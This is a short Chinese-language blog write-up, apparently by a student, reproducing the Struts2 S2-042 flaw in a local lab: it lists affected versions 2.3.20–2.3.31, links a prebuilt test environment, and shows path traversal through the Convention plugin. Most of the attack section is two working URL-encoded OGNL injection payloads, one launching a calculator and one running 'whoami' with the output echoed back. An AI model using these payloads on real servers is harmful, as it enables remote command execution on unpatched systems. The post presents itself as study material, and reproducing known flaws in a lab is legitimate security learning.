Struts-s2-042
此文仅供大家交流学习,严禁非法使用
一、参考网址:
http://www.freebuf.com/vuls/120451.html
二、 影响版本:
Struts 2.3.20 - Struts 2.3.31
三、 漏洞介绍:
Convention是惯例的意思。在进行struts2开发时,需要在配置文件(struts.xml)中写一个个action,和对应返回结果的result(可以理解为前端返回的jsp文件)。
但是,写的action多了,配置起来就显得特别繁琐了。struts2 Convention插件可以完全抛弃配置,也就是约定优于配置
通过这个插件来实现目录的遍历
四、 环境搭建:
使用参考网址博主已经搭好的环境
链接:
http://pan.baidu.com/s/1bULv2m 密码:xkta
访问http://127.0.0.1:8080/struts2/content/go?go=admin

出现访问页面,访问上一级的hack.jsp
访问:http://127.0.0.1:8080/struts2/content/go?go=../hack

通过这样实现遍历,但不能实现任意文件读取,因为有文件类型限制
五、 POC:
%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin
六、 测试网址:
修改后网址为
http://127.0.0.1:8080/struts2/content/go?go=%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin
七、执行结果
成功弹出本地计算器
八、回显测试
想要命令回显的话,修改一下POC
%24%7B%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%7D%2f..%2fadmin
执行结果,弹出下载,打开。

九、 至此,该漏洞基本利用完毕
本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到xrzsupupup@163.com不胜感激,我也会尽量去帮助大家
坚决做一名白帽子
网友评论